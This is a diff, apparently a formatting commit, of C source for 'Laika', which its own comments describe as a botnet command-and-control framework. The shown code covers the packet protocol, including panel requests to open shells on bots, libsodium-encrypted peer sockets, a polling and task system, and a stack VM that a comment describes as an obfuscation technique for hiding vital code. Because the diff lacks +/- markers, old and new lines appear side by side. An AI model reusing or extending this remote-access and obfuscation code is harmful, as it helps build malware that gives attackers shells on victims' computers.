* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* char hostname[LAIKA_HOSTNAME_LEN];
* char inet[LAIKA_INET_LEN];
* char ipStr[LAIKA_IPSTR_LEN];
* uint8_t peerType;
* uint8_t osType;
*/
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc
*/
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be open */
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no
response packet, shell is assumed to be open */
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint16_t cols;
* uint16_t rows;
*/
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint16_t cols;
* uint16_t rows;
*/
LAIKAPKT_MAXNONE
};
@ -105,7 +112,7 @@ typedef uint8_t LAIKAPKT_ID;
typedef uint16_t LAIKAPKT_SIZE;
#ifdef DEBUG
const char* laikaD_getPacketName(LAIKAPKT_ID);
const char *laikaD_getPacketName(LAIKAPKT_ID);
#endif
#endif

View File

@ -2,66 +2,75 @@
#define LAIKA_PEER_H
#include "laika.h"
#include "lsocket.h"
#include "lpacket.h"
#include "lpolllist.h"
#include "lsocket.h"
#include "lsodium.h"
typedef enum {
typedef enum
{
PEER_UNKNWN,
PEER_BOT,
PEER_CNC, /* cnc 2 cnc communication */
PEER_AUTH /* authorized peers can send commands to cnc */
} PEERTYPE;
typedef enum {
typedef enum
{
OS_UNKNWN,
OS_WIN,
OS_LIN
} OSTYPE;
#ifdef _WIN32
# define LAIKA_OSTYPE OS_WIN
# define LAIKA_OSTYPE OS_WIN
#else
# ifdef __linux__
# define LAIKA_OSTYPE OS_LIN
# else
# define LAIKA_OSTYPE OS_UNKNWN
# endif
# ifdef __linux__
# define LAIKA_OSTYPE OS_LIN
# else
# define LAIKA_OSTYPE OS_UNKNWN
# endif
#endif
typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
struct sLaika_peerPacketInfo {
struct sLaika_peerPacketInfo
{
PeerPktHandler handler;
LAIKAPKT_SIZE size;
bool variadic;
};
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) \
[ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
struct sLaika_peer {
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
struct sLaika_peer
{
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting
sLaika_peer* to sLaika_sock* works as intended */
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
struct sLaika_pollList *pList; /* pollList we're activeList in */
struct sLaika_pollList *pList; /* pollList we're activeList in */
struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
void *uData; /* data to be passed to pktHandler */
LAIKAPKT_SIZE pktSize; /* current pkt size */
LAIKAPKT_ID pktID; /* current pkt ID */
void *uData; /* data to be passed to pktHandler */
LAIKAPKT_SIZE pktSize; /* current pkt size */
LAIKAPKT_ID pktID; /* current pkt ID */
PEERTYPE type;
OSTYPE osType;
int outStart; /* index of pktID for out packet */
int inStart; /* index of pktID for in packet */
int outStart; /* index of pktID for out packet */
int inStart; /* index of pktID for in packet */
bool useSecure; /* if true, peer will transmit/receive encrypted data using inKey & outKey */
};
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl, struct sLaika_pollList *pList, pollFailEvent onPollFail, void *onPollFailUData, void *uData);
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl,
struct sLaika_pollList *pList, pollFailEvent onPollFail,
void *onPollFailUData, void *uData);
void laikaS_freePeer(struct sLaika_peer *peer);
void laikaS_setSecure(struct sLaika_peer *peer, bool flag);
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); /* for sending packets with no body */
void laikaS_emptyOutPacket(struct sLaika_peer *peer,
LAIKAPKT_ID id); /* for sending packets with no body */
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
int laikaS_endOutPacket(struct sLaika_peer *peer);
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);

View File

@ -1,22 +1,24 @@
#ifndef LAIKA_POLLLIST_H
#define LAIKA_POLLLIST_H
#include <stdbool.h>
#include "hashmap.h"
#include "laika.h"
#include "lsocket.h"
#include "hashmap.h"
#include <stdbool.h>
/* number of pollFDs or epollFDs we expect to start with */
#define POLLSTARTCAP 8
struct sLaika_pollEvent {
struct sLaika_pollEvent
{
struct sLaika_socket *sock;
bool pollIn;
bool pollOut;
};
struct sLaika_pollList {
struct sLaika_pollList
{
struct hashmap *sockets;
struct sLaika_socket **outQueue; /* holds sockets which have data needed to be sent */
struct sLaika_pollEvent *revents;

View File

@ -4,57 +4,58 @@
/* socket/winsock headers */
#ifdef _WIN32
/* windows */
# ifndef NOMINMAX
# define NOMINMAX
# endif
# define _WINSOCK_DEPRECATED_NO_WARNINGS
# include <winsock2.h>
# include <windows.h>
# include <ws2tcpip.h>
# pragma comment(lib, "Ws2_32.lib")
# ifndef NOMINMAX
# define NOMINMAX
# endif
# define _WINSOCK_DEPRECATED_NO_WARNINGS
# include <windows.h>
# include <winsock2.h>
# include <ws2tcpip.h>
# pragma comment(lib, "Ws2_32.lib")
typedef char buffer_t;
# define PollFD WSAPOLLFD
# define poll WSAPoll
# define LN_ERRNO WSAGetLastError()
# define LN_EWOULD WSAEWOULDBLOCK
# define LN_MSG_NOSIGNAL 0
# define SOCKETINVALID(x) (x == INVALID_SOCKET)
# define SOCKETERROR(x) (x == SOCKET_ERROR)
typedef char buffer_t;
# define PollFD WSAPOLLFD
# define poll WSAPoll
# define LN_ERRNO WSAGetLastError()
# define LN_EWOULD WSAEWOULDBLOCK
# define LN_MSG_NOSIGNAL 0
# define SOCKETINVALID(x) (x == INVALID_SOCKET)
# define SOCKETERROR(x) (x == SOCKET_ERROR)
#else
/* posix platform */
# include <sys/types.h>
# include <sys/socket.h>
# include <netdb.h>
# include <netinet/in.h>
# include <arpa/inet.h>
# include <poll.h>
# ifdef __linux__
# include <sys/epoll.h>
/* max events for epoll() */
# define MAX_EPOLL_EVENTS 128
# define LAIKA_USE_EPOLL
# endif
# include <unistd.h>
# include <errno.h>
# include <arpa/inet.h>
# include <netdb.h>
# include <netinet/in.h>
# include <poll.h>
# include <sys/socket.h>
# include <sys/types.h>
# ifdef __linux__
# include <sys/epoll.h>
/* max events for epoll() */
# define MAX_EPOLL_EVENTS 128
# define LAIKA_USE_EPOLL
# endif
# include <errno.h>
# include <unistd.h>
typedef int SOCKET;
typedef void buffer_t;
# define PollFD struct pollfd
# define LN_ERRNO errno
# define LN_EWOULD EWOULDBLOCK
# define LN_MSG_NOSIGNAL MSG_NOSIGNAL
# define INVALID_SOCKET -1
# define SOCKETINVALID(x) (x < 0)
# define SOCKETERROR(x) (x == -1)
typedef int SOCKET;
typedef void buffer_t;
# define PollFD struct pollfd
# define LN_ERRNO errno
# define LN_EWOULD EWOULDBLOCK
# define LN_MSG_NOSIGNAL MSG_NOSIGNAL
# define INVALID_SOCKET -1
# define SOCKETINVALID(x) (x < 0)
# define SOCKETERROR(x) (x == -1)
#endif
#include <fcntl.h>
#include <stdbool.h>
#include "laika.h"
#include "lsodium.h"
typedef enum {
#include <fcntl.h>
#include <stdbool.h>
typedef enum
{
RAWSOCK_OK,
RAWSOCK_ERROR,
RAWSOCK_CLOSED,
@ -64,14 +65,15 @@ typedef enum {
typedef bool (*pollEvent)(struct sLaika_socket *sock);
typedef void (*pollFailEvent)(struct sLaika_socket *sock, void *uData);
struct sLaika_socket {
struct sLaika_socket
{
SOCKET sock; /* raw socket fd */
pollFailEvent onPollFail;
pollEvent onPollIn;
pollEvent onPollOut;
void *uData; /* passed to onPollFail */
void *uData; /* passed to onPollFail */
uint8_t *outBuf; /* raw data to be sent() */
uint8_t *inBuf; /* raw data we recv()'d */
uint8_t *inBuf; /* raw data we recv()'d */
int outCount;
int inCount;
int outCap;
@ -87,24 +89,31 @@ bool laikaS_isBigEndian(void);
void laikaS_init(void);
void laikaS_cleanUp(void);
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut, pollFailEvent onPollFail, void *uData);
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut,
pollFailEvent onPollFail, void *uData);
void laikaS_cleanSocket(struct sLaika_socket *sock);
void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */
void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port); /* connect to ip & port */
void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */
void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipStr);
bool laikaS_setNonBlock(struct sLaika_socket *sock);
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz); /* throws sz bytes away from the inBuf */
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz); /* writes sz NULL bytes to the outBuf */
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
void laikaS_consumeRead(struct sLaika_socket *sock,
size_t sz); /* throws sz bytes away from the inBuf */
void laikaS_zeroWrite(struct sLaika_socket *sock,
size_t sz); /* writes sz NULL bytes to the outBuf */
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz,
uint8_t *pub); /* encrypts & writes from buf using pub key */
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub,
uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
uint8_t laikaS_readByte(struct sLaika_socket *sock);
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz); /* reads INT, respecting endianness */
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz); /* writes INT, respecting endianness */
void laikaS_readInt(struct sLaika_socket *sock, void *buf,
size_t sz); /* reads INT, respecting endianness */
void laikaS_writeInt(struct sLaika_socket *sock, void *buf,
size_t sz); /* writes INT, respecting endianness */
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);

View File

@ -1,13 +1,15 @@
#ifndef LAIKA_TASK_H
#define LAIKA_TASK_H
#include <time.h>
#include "laika.h"
typedef void (*taskCallback)(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
#include <time.h>
struct sLaika_task {
typedef void (*taskCallback)(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData);
struct sLaika_task
{
struct sLaika_task *next;
taskCallback callback;
void *uData;
@ -15,14 +17,16 @@ struct sLaika_task {
int delta;
};
struct sLaika_taskService {
struct sLaika_taskService
{
struct sLaika_task *headTask;
};
void laikaT_initTaskService(struct sLaika_taskService *service);
void laikaT_cleanTaskService(struct sLaika_taskService *service);
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, taskCallback callback, void *uData);
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta,
taskCallback callback, void *uData);
void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task);
void laikaT_pollTasks(struct sLaika_taskService *service);

View File

@ -5,50 +5,63 @@
This is an obfuscation technique where vital code can be executed in a
stack-based VM, inlined into the function. The VM instruction-set is fairly
simple, see the OP_* enum for avaliable opcodes and their expected arguments.
The VM is turing-complete, however the instruction-set has been curated to
The VM is turing-complete, however the instruction-set has been curated to
fit this specific use case.
*/
#include <inttypes.h>
#include "laika.h"
#include "lerror.h"
#include <inttypes.h>
#define LAIKA_VM_STACKSIZE 64
#define LAIKA_VM_CONSTSIZE 32
struct sLaikaV_vm_val {
union {
struct sLaikaV_vm_val
{
union
{
uint8_t i;
uint8_t *ptr;
};
};
struct sLaikaV_vm {
struct sLaikaV_vm
{
struct sLaikaV_vm_val stack[LAIKA_VM_STACKSIZE];
struct sLaikaV_vm_val constList[LAIKA_VM_CONSTSIZE];
uint8_t code[LAIKA_VM_CODESIZE];
int pc;
};
#define LAIKA_MAKE_VM(_consts, _code) {.constList = _consts, .code = _code, .pc = 0, .stack = {0}}
#define LAIKA_MAKE_VM(_consts, _code) \
{ \
.constList = _consts, .code = _code, .pc = 0, .stack = { 0 } \
}
/* constants */
#define LAIKA_MAKE_VM_INT(_i) {.i = _i}
#define LAIKA_MAKE_VM_PTR(_ptr) {.ptr = _ptr}
#define LAIKA_MAKE_VM_INT(_i) \
{ \
.i = _i \
}
#define LAIKA_MAKE_VM_PTR(_ptr) \
{ \
.ptr = _ptr \
}
/* instructions */
#define LAIKA_MAKE_VM_IA(opcode, a) opcode, a
#define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b
#define LAIKA_MAKE_VM_IA(opcode, a) opcode, a
#define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b
#define LAIKA_MAKE_VM_IABC(opcode, a, b, c) opcode, a, b, c
enum {
enum
{
OP_EXIT,
OP_LOADCONST, /* stk_indx[uint8_t] = const_indx[uint8_t] */
OP_PUSHLIT, /* stk_indx[uint8_t].i = uint8_t */
OP_READ, /* stk_indx[uint8_t].i = *(int8_t*)stk_indx[uint8_t] */
OP_WRITE, /* *(uint8_t*)stk_indx[uint8_t].ptr = stk_indx[uint8_t].i */
OP_INCPTR, /* stk_indx[uint8_t].ptr++ */
OP_DECPTR, /* stk_indx[uint8_t].ptr-- */
OP_PUSHLIT, /* stk_indx[uint8_t].i = uint8_t */
OP_READ, /* stk_indx[uint8_t].i = *(int8_t*)stk_indx[uint8_t] */
OP_WRITE, /* *(uint8_t*)stk_indx[uint8_t].ptr = stk_indx[uint8_t].i */
OP_INCPTR, /* stk_indx[uint8_t].ptr++ */
OP_DECPTR, /* stk_indx[uint8_t].ptr-- */
/* arithmetic */
OP_ADD, /* stk_indx[uint8_t] = stk_indx[uint8_t] + stk_indx[uint8_t] */
@ -68,83 +81,93 @@ enum {
#endif
};
LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm) {
LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm)
{
#define READBYTE (vm->code[vm->pc++])
#define BINOP(x) { \
uint8_t a = READBYTE; \
uint8_t b = READBYTE; \
uint8_t c = READBYTE; \
vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \
break; \
}
#define BINOP(x) \
{ \
uint8_t a = READBYTE; \
uint8_t b = READBYTE; \
uint8_t c = READBYTE; \
vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \
break; \
}
while (vm->code[vm->pc]) {
switch (vm->code[vm->pc++]) {
case OP_LOADCONST: {
uint8_t indx = READBYTE;
uint8_t constIndx = READBYTE;
vm->stack[indx] = vm->constList[constIndx];
break;
}
case OP_PUSHLIT: {
uint8_t indx = READBYTE;
uint8_t lit = READBYTE;
vm->stack[indx].i = lit;
break;
}
case OP_READ: {
uint8_t indx = READBYTE;
uint8_t ptr = READBYTE;
vm->stack[indx].i = *vm->stack[ptr].ptr;
break;
}
case OP_WRITE: {
uint8_t ptr = READBYTE;
uint8_t indx = READBYTE;
*vm->stack[ptr].ptr = vm->stack[indx].i;
break;
}
case OP_INCPTR: {
uint8_t ptr = READBYTE;
vm->stack[ptr].ptr++;
break;
}
case OP_DECPTR: {
uint8_t ptr = READBYTE;
vm->stack[ptr].ptr--;
break;
}
case OP_ADD: BINOP(+);
case OP_SUB: BINOP(-);
case OP_MUL: BINOP(*);
case OP_DIV: BINOP(/);
case OP_AND: BINOP(&);
case OP_OR: BINOP(|);
case OP_XOR: BINOP(^);
case OP_TESTJMP: {
uint8_t indx = READBYTE;
int8_t jmp = READBYTE;
case OP_LOADCONST: {
uint8_t indx = READBYTE;
uint8_t constIndx = READBYTE;
vm->stack[indx] = vm->constList[constIndx];
break;
}
case OP_PUSHLIT: {
uint8_t indx = READBYTE;
uint8_t lit = READBYTE;
vm->stack[indx].i = lit;
break;
}
case OP_READ: {
uint8_t indx = READBYTE;
uint8_t ptr = READBYTE;
vm->stack[indx].i = *vm->stack[ptr].ptr;
break;
}
case OP_WRITE: {
uint8_t ptr = READBYTE;
uint8_t indx = READBYTE;
*vm->stack[ptr].ptr = vm->stack[indx].i;
break;
}
case OP_INCPTR: {
uint8_t ptr = READBYTE;
vm->stack[ptr].ptr++;
break;
}
case OP_DECPTR: {
uint8_t ptr = READBYTE;
vm->stack[ptr].ptr--;
break;
}
case OP_ADD:
BINOP(+);
case OP_SUB:
BINOP(-);
case OP_MUL:
BINOP(*);
case OP_DIV:
BINOP(/);
case OP_AND:
BINOP(&);
case OP_OR:
BINOP(|);
case OP_XOR:
BINOP(^);
case OP_TESTJMP: {
uint8_t indx = READBYTE;
int8_t jmp = READBYTE;
/* if stack indx is true, jump by jmp (signed 8-bit int) */
if (vm->stack[indx].i)
vm->pc += jmp;
/* if stack indx is true, jump by jmp (signed 8-bit int) */
if (vm->stack[indx].i)
vm->pc += jmp;
break;
}
break;
}
#ifdef DEBUG
case OP_DEBUG: {
int i;
case OP_DEBUG: {
int i;
/* print stack info */
for (i = 0; i < LAIKA_VM_STACKSIZE; i++)
printf("[%03d] - 0x%02x\n", i, vm->stack[i].i);
/* print stack info */
for (i = 0; i < LAIKA_VM_STACKSIZE; i++)
printf("[%03d] - 0x%02x\n", i, vm->stack[i].i);
break;
}
break;
}
#endif
default:
LAIKA_ERROR("laikaV_execute: unknown opcode [0x%02x]! pc: %d\n", vm->code[vm->pc], vm->pc);
default:
LAIKA_ERROR("laikaV_execute: unknown opcode [0x%02x]! pc: %d\n", vm->code[vm->pc],
vm->pc);
}
}

View File

@ -1,7 +1,9 @@
#include "lerror.h"
#include "lmem.h"
void *laikaM_realloc(void *buf, size_t sz) {
#include "lerror.h"
void *laikaM_realloc(void *buf, size_t sz)
{
void *newBuf;
/* are we free'ing the buffer? */

View File

@ -1,20 +1,19 @@
#include "lpacket.h"
#ifdef DEBUG
const char* laikaD_getPacketName(LAIKAPKT_ID id) {
const char *PKTNAMES[] = {
"LAIKAPKT_VARPKT",
"LAIKAPKT_HANDSHAKE_REQ",
"LAIKAPKT_HANDSHAKE_RES",
"LAIKAPKT_PINGPONG",
"LAIKAPKT_SHELL_OPEN",
"LAIKAPKT_SHELL_CLOSE",
"LAIKAPKT_SHELL_DATA",
"LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ",
"LAIKAPKT_AUTHENTICATED_ADD_PEER_RES",
"LAIKAPKT_AUTHENTICATED_RMV_PEER_RES",
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ"
};
const char *laikaD_getPacketName(LAIKAPKT_ID id)
{
const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",
"LAIKAPKT_HANDSHAKE_REQ",
"LAIKAPKT_HANDSHAKE_RES",
"LAIKAPKT_PINGPONG",
"LAIKAPKT_SHELL_OPEN",
"LAIKAPKT_SHELL_CLOSE",
"LAIKAPKT_SHELL_DATA",
"LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ",
"LAIKAPKT_AUTHENTICATED_ADD_PEER_RES",
"LAIKAPKT_AUTHENTICATED_RMV_PEER_RES",
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ"};
return id >= LAIKAPKT_MAXNONE ? "LAIKAPKT_UNKNOWN" : PKTNAMES[id];
}

View File

@ -1,16 +1,16 @@
#include "lerror.h"
#include "lmem.h"
#include "lpeer.h"
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct sLaika_pollList *pList, pollFailEvent onPollFail, void *onPollFailUData, void *uData) {
#include "lerror.h"
#include "lmem.h"
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl,
struct sLaika_pollList *pList, pollFailEvent onPollFail,
void *onPollFailUData, void *uData)
{
struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer));
laikaS_initSocket(&peer->sock,
laikaS_handlePeerIn,
laikaS_handlePeerOut,
onPollFail,
onPollFailUData
);
laikaS_initSocket(&peer->sock, laikaS_handlePeerIn, laikaS_handlePeerOut, onPollFail,
onPollFailUData);
peer->packetTbl = pktTbl;
peer->pList = pList;
@ -31,14 +31,16 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct
return peer;
}
void laikaS_freePeer(struct sLaika_peer *peer) {
void laikaS_freePeer(struct sLaika_peer *peer)
{
laikaS_cleanSocket(&peer->sock);
laikaM_free(peer);
}
/* ===================================[[ Start/End Packets ]]=================================== */
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
{
struct sLaika_socket *sock = &peer->sock;
laikaS_writeByte(sock, id);
@ -47,7 +49,8 @@ void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
laikaP_pushOutQueue(peer->pList, &peer->sock);
}
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
{
struct sLaika_socket *sock = &peer->sock;
if (peer->outStart != -1) /* sanity check */
@ -56,27 +59,31 @@ void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
laikaS_writeByte(sock, id);
peer->outStart = sock->outCount;
if (peer->useSecure) { /* if we're encrypting this packet, append the nonce right after the packet ID */
if (peer->useSecure) { /* if we're encrypting this packet, append the nonce right after the
packet ID */
uint8_t nonce[crypto_secretbox_NONCEBYTES];
randombytes_buf(nonce, crypto_secretbox_NONCEBYTES);
laikaS_write(sock, nonce, crypto_secretbox_NONCEBYTES);
}
}
int laikaS_endOutPacket(struct sLaika_peer *peer) {
int laikaS_endOutPacket(struct sLaika_peer *peer)
{
struct sLaika_socket *sock = &peer->sock;
uint8_t *body;
size_t sz;
if (peer->useSecure) {
/* make sure we have enough space */
laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount, sock->outCap);
laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount,
sock->outCap);
/* packet body starts after the id & nonce */
body = &sock->outBuf[peer->outStart + crypto_secretbox_NONCEBYTES];
/* encrypt packet body in-place */
if (crypto_secretbox_easy(body, body, (sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES,
&sock->outBuf[peer->outStart], peer->outKey) != 0) {
if (crypto_secretbox_easy(body, body,
(sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES,
&sock->outBuf[peer->outStart], peer->outKey) != 0) {
LAIKA_ERROR("Failed to encrypt packet!\n");
}
@ -92,28 +99,33 @@ int laikaS_endOutPacket(struct sLaika_peer *peer) {
return sz;
}
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
{
struct sLaika_socket *sock = &peer->sock;
if (peer->outStart != -1) /* sanity check */
LAIKA_ERROR("unended OUT packet!\n");
laikaS_writeByte(sock, LAIKAPKT_VARPKT);
laikaS_zeroWrite(sock, sizeof(LAIKAPKT_SIZE)); /* allocate space for packet size to patch later */
laikaS_zeroWrite(sock,
sizeof(LAIKAPKT_SIZE)); /* allocate space for packet size to patch later */
laikaS_startOutPacket(peer, id);
}
int laikaS_endVarPacket(struct sLaika_peer *peer) {
int laikaS_endVarPacket(struct sLaika_peer *peer)
{
struct sLaika_socket *sock = &peer->sock;
int patchIndx = peer->outStart - (sizeof(LAIKAPKT_SIZE) + sizeof(LAIKAPKT_ID)); /* gets index of packet size */
int patchIndx = peer->outStart -
(sizeof(LAIKAPKT_SIZE) + sizeof(LAIKAPKT_ID)); /* gets index of packet size */
LAIKAPKT_SIZE sz = (LAIKAPKT_SIZE)laikaS_endOutPacket(peer);
/* patch packet size */
memcpy((void*)&sock->outBuf[patchIndx], (void*)&sz, sizeof(LAIKAPKT_SIZE));
memcpy((void *)&sock->outBuf[patchIndx], (void *)&sz, sizeof(LAIKAPKT_SIZE));
return sz;
}
void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic) {
void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic)
{
struct sLaika_socket *sock = &peer->sock;
if (peer->inStart != -1) /* sanity check */
@ -126,7 +138,8 @@ void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic) {
peer->inStart = sock->inCount;
}
int laikaS_endInPacket(struct sLaika_peer *peer) {
int laikaS_endInPacket(struct sLaika_peer *peer)
{
struct sLaika_socket *sock = &peer->sock;
uint8_t *body;
size_t sz = sock->inCount - peer->inStart;
@ -135,7 +148,8 @@ int laikaS_endInPacket(struct sLaika_peer *peer) {
body = &sock->inBuf[peer->inStart + crypto_secretbox_NONCEBYTES];
/* decrypt packet body in-place */
if (crypto_secretbox_open_easy(body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES,
if (crypto_secretbox_open_easy(
body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES,
&sock->inBuf[peer->inStart], peer->inKey) != 0) {
LAIKA_ERROR("Failed to decrypt packet!\n");
}
@ -153,113 +167,119 @@ int laikaS_endInPacket(struct sLaika_peer *peer) {
return sz;
}
void laikaS_setSecure(struct sLaika_peer *peer, bool flag) {
void laikaS_setSecure(struct sLaika_peer *peer, bool flag)
{
peer->useSecure = flag;
}
/* ==================================[[ Handle Poll Events ]]=================================== */
bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
bool laikaS_handlePeerIn(struct sLaika_socket *sock)
{
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
int recvd;
switch (peer->pktID) {
case LAIKAPKT_MAXNONE:
/* try grabbing pktID */
if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t), &recvd) != RAWSOCK_OK)
return false;
case LAIKAPKT_MAXNONE:
/* try grabbing pktID */
if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t), &recvd) != RAWSOCK_OK)
return false;
/* read packet ID */
peer->pktID = laikaS_readByte(&peer->sock);
LAIKA_DEBUG("%s\n", laikaD_getPacketName(peer->pktID));
/* read packet ID */
peer->pktID = laikaS_readByte(&peer->sock);
LAIKA_DEBUG("%s\n", laikaD_getPacketName(peer->pktID));
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is
also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket
for itself, so skip all of this */
if (peer->pktID == LAIKAPKT_VARPKT)
goto _HandlePacketVariadic;
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement.
LAIKAPKT_VARPKT is also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT
case calls laikaS_startInPacket for itself, so skip all of this */
if (peer->pktID == LAIKAPKT_VARPKT)
goto _HandlePacketVariadic;
/* sanity check pktID, pktID's handler & make sure it's not marked as variadic */
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || peer->packetTbl[peer->pktID].variadic)
LAIKA_ERROR("peer %p doesn't support packet id [%d]!\n", peer, peer->pktID);
/* sanity check pktID, pktID's handler & make sure it's not marked as variadic */
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL ||
peer->packetTbl[peer->pktID].variadic)
LAIKA_ERROR("peer %p doesn't support packet id [%d]!\n", peer, peer->pktID);
peer->pktSize = peer->packetTbl[peer->pktID].size;
peer->pktSize = peer->packetTbl[peer->pktID].size;
/* if peer->useSecure is true, body is encrypted */
laikaS_startInPacket(peer, false);
goto _HandlePacketBody;
case LAIKAPKT_VARPKT:
_HandlePacketVariadic:
/* try grabbing pktID & size */
if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK)
